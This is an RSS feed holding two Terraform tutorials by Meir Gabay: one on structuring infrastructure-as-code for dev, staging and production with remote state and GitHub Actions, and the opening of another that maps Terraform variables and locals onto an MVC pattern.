<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: ProdOps</title>
    <description>The latest articles on Forem by ProdOps (@prodopsio).</description>
    <link>https://forem.com/prodopsio</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F910%2Fcf733948-59f4-47b0-97ae-9a10b8766a74.png</url>
      <title>Forem: ProdOps</title>
      <link>https://forem.com/prodopsio</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/prodopsio"/>
    <language>en</language>
    <item>
      <title>Infrastructure as Code with terraform for multiple environments</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Thu, 10 Dec 2020 09:35:32 +0000</pubDate>
      <link>https://forem.com/prodopsio/infrastructure-as-code-with-terraform-for-multiple-environments-5c1p</link>
      <guid>https://forem.com/prodopsio/infrastructure-as-code-with-terraform-for-multiple-environments-5c1p</guid>
      <description>&lt;p&gt;Working with Infrastructure as Code (IaC) is incredible. Figuring out the correct repository structure, including a CI/CD pipeline, is not so simple.&lt;/p&gt;

&lt;p&gt;Here are my two cents on the subject.&lt;/p&gt;

&lt;h2&gt;
  
  
  Motivation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Using git to audit changes and revert to the previous state&lt;/li&gt;
&lt;li&gt;Promoting environments with git's pull-requests (dev--&amp;gt;stg--&amp;gt;prd)&lt;/li&gt;
&lt;li&gt;Comfortable maintenance of variables per environment&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fs3-eu-west-1.amazonaws.com%2Fmeirg.co.il%2Finfrastructure-as-code-with-terraform-for-multiple-environments-meme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fs3-eu-west-1.amazonaws.com%2Fmeirg.co.il%2Finfrastructure-as-code-with-terraform-for-multiple-environments-meme.png" alt="infrastructure-as-code-with-terraform-for-multiple-environments-meme"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Offered Structure
&lt;/h2&gt;

&lt;p&gt;To examine a live example visit &lt;a href="https://github.com/unfor19/terraform-multienv" rel="noopener noreferrer"&gt;unfor19/terraform-multienv&lt;/a&gt;. This repository can also be used &lt;a href="https://github.com/unfor19/terraform-multienv/generate" rel="noopener noreferrer"&gt;as a template&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
├── .github
│   └── workflows
│       ├── terraform-apply.yml
│       └── terraform-plan.yml
├── cloudformation
│   └── cfn-tfbackend.yml
├── live
│   ├── backend.tf.tpl
│   ├── main.tf
│   ├── providers.tf
│   └── variables.tf
└── scripts
    ├── prepare-backend.sh
    ├── prepare-files-folders.sh
    └── terraform.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Assumptions
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Branches names are aligned with environments names, for example &lt;code&gt;dev&lt;/code&gt;, &lt;code&gt;stg&lt;/code&gt; and &lt;code&gt;prd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The CI/CD tool supports the variable &lt;code&gt;${BRANCH_NAME}&lt;/code&gt;, for example &lt;code&gt;${DRONE_BRANCH}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The directory &lt;code&gt;./live&lt;/code&gt; contains infrastructure-as-code files - &lt;code&gt;*.tf&lt;/code&gt;, &lt;code&gt;*.tpl&lt;/code&gt;, &lt;code&gt;*.json&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple Environments&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;All environments are maintained in the same git repository&lt;/li&gt;
&lt;li&gt;Hosting environments in different AWS account is supported (and recommended)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;Variables&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;${app_name} = &lt;code&gt;your-app-name&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;${environment} = &lt;code&gt;dev&lt;/code&gt; or &lt;code&gt;stg&lt;/code&gt; or &lt;code&gt;prd&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Remote Backend
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Creating The Resources
&lt;/h4&gt;

&lt;p&gt;This can be done manually in the AWS Console or by using a terraform module, such as &lt;a href="https://github.com/cloudposse/terraform-aws-tfstate-backend" rel="noopener noreferrer"&gt;cloudposse/terraform-aws-tfstate-backend&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Initially, I used the terraform module, but then I found out I'm stuck in the "chicken and the egg" situation. I'm using terraform to create resources that will save the state of those resources; what?&lt;/p&gt;

&lt;p&gt;I found it easier to do this task with CloudFormation, which makes it totally a separate process, and it is done once per environment.&lt;/p&gt;

&lt;p&gt;I've created the script &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/scripts/prepare-backend.sh" rel="noopener noreferrer"&gt;scripts/prepare-backend.sh&lt;/a&gt;, which creates an S3 bucket for the state file and DynamoDB table for &lt;a href="https://www.terraform.io/docs/backends/types/s3.html" rel="noopener noreferrer"&gt;state lock&lt;/a&gt;. The script uses aws-cli and deploys the &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/cloudformation/cfn-tfbackend.yml" rel="noopener noreferrer"&gt;cloudformation/cfn-tfbackend.yml&lt;/a&gt; template.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;NOTE&lt;/em&gt;: Remote Backend resources are created per environment (branch).&lt;/p&gt;

&lt;h4&gt;
  
  
  Configuration Per Environment
&lt;/h4&gt;

&lt;p&gt;One of the major pain points of this configuration is setting the &lt;a href="https://www.terraform.io/docs/backends/types/s3.html" rel="noopener noreferrer"&gt;Terraform Remote Backend&lt;/a&gt; per environment. Each environment must have its own "backend settings", and the values must be hard-coded since you can't use variables in the &lt;code&gt;terraform backend&lt;/code&gt; code block.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Only one backend may be specified, and &lt;strong&gt;the configuration may not contain interpolations.&lt;/strong&gt; Terraform will validate this. &lt;a href="https://www.terraform.io/docs/backends/config.html" rel="noopener noreferrer"&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This part was solved by creating a template, which gets modified before executing &lt;code&gt;terraform apply&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/live/backend.tf.tpl" rel="noopener noreferrer"&gt;live/backend.tf.tpl&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;terraform&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;backend&lt;/span&gt; &lt;span class="s2"&gt;"s3"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;region&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"AWS_REGION"&lt;/span&gt;
    &lt;span class="n"&gt;bucket&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"APP_NAME-state-ENVIRONMENT"&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform.tfstate"&lt;/span&gt;
    &lt;span class="n"&gt;dynamodb_table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"APP_NAME-state-lock-ENVIRONMENT"&lt;/span&gt;
    &lt;span class="n"&gt;encrypt&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script that applies the modification is &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/scripts/prepare-files-folders.sh" rel="noopener noreferrer"&gt;scripts/prepare-files-folders.sh&lt;/a&gt;. It's using a simple &lt;code&gt;sed&lt;/code&gt; command to find and replace &lt;code&gt;AWS_REGION&lt;/code&gt;, &lt;code&gt;APP_NAME&lt;/code&gt; and &lt;code&gt;ENVIRONMENT&lt;/code&gt;. After applying these changes, the file &lt;code&gt;backend.tf.tpl&lt;/code&gt; is renamed to &lt;code&gt;backend.tf&lt;/code&gt;, making it available to the terraform CLI due to its &lt;code&gt;tf&lt;/code&gt; extension.&lt;/p&gt;

&lt;p&gt;This script &lt;code&gt;prepare-files-folders.sh&lt;/code&gt; has a bigger purpose, and we'll dive into it in a few moments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Environment Per Branch
&lt;/h2&gt;

&lt;h4&gt;
  
  
  One Dir To Rule Them All
&lt;/h4&gt;

&lt;p&gt;The goal is to have a single directory that contains all of the IaC files (tf, JSON, and so on) and then execute &lt;code&gt;terraform apply&lt;/code&gt; from this directory. And again, &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/scripts/prepare-files-folders.sh" rel="noopener noreferrer"&gt;scripts/prepare-files-folders.sh&lt;/a&gt; comes to the rescue.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;meirgabay@~/terraform-multienv &lt;span class="o"&gt;(&lt;/span&gt;dev&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./scripts/prepare-files-folders.sh 
&lt;span class="o"&gt;[&lt;/span&gt;LOG] Prepared files and folders &lt;span class="k"&gt;for &lt;/span&gt;the environment - dev
total 48
drwxr-xr-x   8 meirgabay  staff   256B Dec  9 23:06 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x  19 meirgabay  staff   608B Dec  9 23:06 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;   1 meirgabay  staff   229B Dec  9 23:06 backend.tf
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;   1 meirgabay  staff   775B Dec  9 23:06 main.tf
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;   1 meirgabay  staff    72B Dec  9 23:06 outputs.tf
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;   1 meirgabay  staff    41B Dec  9 23:06 providers.tf
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;   1 meirgabay  staff   1.2K Dec  9 23:06 variables.tf
terraform &lt;span class="o"&gt;{&lt;/span&gt;
  backend &lt;span class="s2"&gt;"s3"&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    region         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"eu-west-1"&lt;/span&gt;
    bucket         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tfmultienv-state-dev"&lt;/span&gt;
    key            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform.tfstate"&lt;/span&gt;
    dynamodb_table &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tfmultienv-state-lock-dev"&lt;/span&gt;
    encrypt        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new directory &lt;code&gt;dev&lt;/code&gt; was created in the project's root directory, and it contains the files that are needed to deploy the infrastructure. The example above is for &lt;code&gt;dev&lt;/code&gt;, but the result would be the same for &lt;code&gt;stg&lt;/code&gt; and &lt;code&gt;prd&lt;/code&gt;; the only thing that really changes is the Remote Backend configuration.&lt;/p&gt;

&lt;h4&gt;
  
  
  Variables Per Environment
&lt;/h4&gt;

&lt;p&gt;This is where &lt;a href="https://www.terraform.io/docs/configuration/variables.html" rel="noopener noreferrer"&gt;variables&lt;/a&gt; and &lt;a href="https://www.terraform.io/docs/configuration/locals.html" rel="noopener noreferrer"&gt;local values&lt;/a&gt; come into play.&lt;/p&gt;

&lt;p&gt;The variable &lt;code&gt;BRANCH_NAME&lt;/code&gt; is assigned to &lt;code&gt;environment&lt;/code&gt;, according to the branch that will be deployed with &lt;code&gt;terraform apply&lt;/code&gt;. The CI/CD process sets the value of &lt;code&gt;BRANCH_NAME&lt;/code&gt; (we'll get to that).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;BRANCH_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dev
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;dev&lt;span class="o"&gt;)&lt;/span&gt; terraform &lt;span class="nt"&gt;--apply&lt;/span&gt; &lt;span class="nt"&gt;-var&lt;/span&gt; &lt;span class="nv"&gt;environment&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BRANCH_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/live/variables.tf" rel="noopener noreferrer"&gt;live/variables.tf&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;type&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;
  &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dev, stg, prd"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;map&lt;/span&gt;
  &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.1"&lt;/span&gt;
    &lt;span class="n"&gt;stg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.2"&lt;/span&gt;
    &lt;span class="n"&gt;prd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.3"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;locals&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;vpc_cidr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"${lookup(var.cidr_ab, var.environment)}.0.0/16"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href=""&gt;live/main.tf&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="s2"&gt;"vpc"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;source&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"terraform-aws-modules/vpc/aws"&lt;/span&gt;
  &lt;span class="n"&gt;cidr&lt;/span&gt;               &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;vpc_cidr&lt;/span&gt;
  &lt;span class="c1"&gt;# omitted arguments for brevity&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;NOTE&lt;/em&gt;: I prefer using local values in my resources and modules instead of variables. I even wrote a &lt;a href="https://dev.to/prodopsio/mvc-design-pattern-in-terraform-g99"&gt;blog post&lt;/a&gt; about it. It's not mandatory, but I consider it as best practice.&lt;/p&gt;

&lt;h2&gt;
  
  
  CI/CD
&lt;/h2&gt;

&lt;p&gt;This part is fully covered in the README of &lt;a href="https://github.com/unfor19/terraform-multienv#getting-started" rel="noopener noreferrer"&gt;terraform-multienv&lt;/a&gt;. This is an abstract of the whole process.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Deploying the infrastructure - Commit and push changes to your repository
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   git checkout dev
   git add .
   git commit -m "deploy dev"
   git push --set-upstream origin dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;CI/CD service (GitHub Actions in my case) is triggered&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On pull-request to &lt;code&gt;stg&lt;/code&gt; or &lt;code&gt;prd&lt;/code&gt;, trigger &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.github/workflows/terraform-plan.yml" rel="noopener noreferrer"&gt;terraform-plan.yml&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;On push to &lt;code&gt;dev&lt;/code&gt;, &lt;code&gt;stg&lt;/code&gt;, &lt;code&gt;prd&lt;/code&gt;, trigger &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.github/workflows/terraform-apply.yml" rel="noopener noreferrer"&gt;terraform-apply.yml&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Promote &lt;code&gt;dev&lt;/code&gt; environment to &lt;code&gt;stg&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a PR from &lt;code&gt;dev&lt;/code&gt; to &lt;code&gt;stg&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The plan to &lt;code&gt;stg&lt;/code&gt; is added as a comment by the &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.github/workflows/terraform-plan.yml" rel="noopener noreferrer"&gt;terraform-plan&lt;/a&gt; pipeline, here's &lt;a href="https://github.com/unfor19/terraform-multienv/pull/10#issuecomment-691517521" rel="noopener noreferrer"&gt;an example&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Merge the changes to &lt;code&gt;stg&lt;/code&gt;, and check the &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/.github/workflows/terraform-apply.yml" rel="noopener noreferrer"&gt;terraform-apply&lt;/a&gt; pipeline in the Actions tab&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Alternatives
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.terraform.io/docs/cloud/index.html" rel="noopener noreferrer"&gt;Terraform Cloud&lt;/a&gt; - Integration to git repository, the "environment" is referred as &lt;a href="https://www.terraform.io/docs/cloud/workspaces/index.html" rel="noopener noreferrer"&gt;Workspace&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://terragrunt.gruntwork.io/" rel="noopener noreferrer"&gt;terragrunt&lt;/a&gt; - Provides extra tools for keeping your configurations DRY, working with multiple Terraform modules, and managing remote state&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=cBDmoC7QonA" rel="noopener noreferrer"&gt;Getting started with Terraform in AWS
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/prodopsio/mvc-design-pattern-in-terraform-g99"&gt;MVC design pattern in Terraform&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/prodopsio/terraform-aws-dynamic-subnets-2cgo"&gt;Terraform Dynamic Subnets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Words
&lt;/h2&gt;

&lt;p&gt;You might have noticed I didn't mention anything about &lt;a href="https://github.com/unfor19/terraform-multienv/blob/dev/scripts/terraform.sh" rel="noopener noreferrer"&gt;scripts/terraform.sh&lt;/a&gt;. Since you've got this far, you deserve to know what it does&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;terraform init&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform plan&lt;/code&gt; - save the plan to a markdown file &lt;code&gt;plan.md&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;terraform apply&lt;/code&gt; - run only if the plan contains changes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I hope you find this useful, and if you do, don't forget to clap/heart and share it with your friends and colleagues.&lt;br&gt;
Got any questions or doubts? Let's start a discussion! Feel free to comment below.&lt;/p&gt;




&lt;p&gt;Originally published at &lt;a href="https://www.meirg.co.il/2020/12/10/infrastructure-as-code-with-terraform-for-multiple-environments/" rel="noopener noreferrer"&gt;meirg.co.il&lt;/a&gt; on December 10, 2020&lt;/p&gt;

</description>
    </item>
    <item>
      <title>MVC design pattern in Terraform</title>
      <dc:creator>Meir Gabay</dc:creator>
      <pubDate>Mon, 14 Sep 2020 12:33:18 +0000</pubDate>
      <link>https://forem.com/prodopsio/mvc-design-pattern-in-terraform-g99</link>
      <guid>https://forem.com/prodopsio/mvc-design-pattern-in-terraform-g99</guid>
      <description>&lt;p&gt;In this blog post, I'm going to share how to use &lt;a href="https://www.terraform.io/docs/configuration/variables.html"&gt;Input Variables&lt;/a&gt; a.k.a variables, and &lt;a href="https://www.terraform.io/docs/configuration/locals.html"&gt;Local Values&lt;/a&gt; a.k.a locals, to form a well-maintained infrastructure in Terraform while following the MVC design pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Approach
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Local Values (Model) are altered behind the scenes by architects, regardless of the application's Modules and Resources (View)&lt;/li&gt;
&lt;li&gt;Modules and Resources (View) are implemented according to the Local Values (Model)&lt;/li&gt;
&lt;li&gt;Input Variables (Controller) get user input and manipulate the Local Values (Model). These changes are reflected in Modules and Resources (View)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Description &lt;a href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller"&gt;(Source)&lt;/a&gt;
&lt;/th&gt;
&lt;th&gt;In Terraform&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;Managing the data of the application&lt;/td&gt;
&lt;td&gt;Local Values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;View&lt;/td&gt;
&lt;td&gt;Presentation of the model in a particular format&lt;br&gt;
&lt;/td&gt;
&lt;td&gt;Modules and Resources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Controller&lt;/td&gt;
&lt;td&gt;Receives the input, optionally validates it, and then passes the input to the model&lt;/td&gt;
&lt;td&gt;Input Variables&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Input Variables (Controller)
&lt;/h2&gt;

&lt;p&gt;Mainly used for getting a dynamic input from architects and CI/CD processes. Here's a classic snippet of how Input Variables are used&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"app_name"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"region"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dev, stg, prd"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Avoid setting &lt;code&gt;default&lt;/code&gt; values to "information variables". This enables other architects (or future you) to use the same Infrastructure-as-Code (IaC), without worrying about predefined names. Examples:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;app_name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;region&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain_name&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;default&lt;/code&gt; values to "infrastructure and application variables". Examples:

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;desired_tasks = 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;firewall_enabled = true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker_image = "nginx:1.19.2"&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Variables As Maps
&lt;/h3&gt;

&lt;p&gt;The combination of Input Variables, the default attribute, and the &lt;a href="https://www.terraform.io/docs/configuration/functions/lookup.html"&gt;lookup&lt;/a&gt; function is amazing. For example, according to a given value, &lt;code&gt;environment&lt;/code&gt;, get the relevant &lt;code&gt;default&lt;/code&gt; value from a map. A more practical example:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;variables.tf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight terraform"&gt;&lt;code&gt;&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"environment"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
  &lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"dev, stg, prd"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;variable&lt;/span&gt; &lt;span class="s2"&gt;"cidr_ab"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;
  &lt;span class="nx"&gt;default&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;dev&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"10.1"&lt;/span&gt;
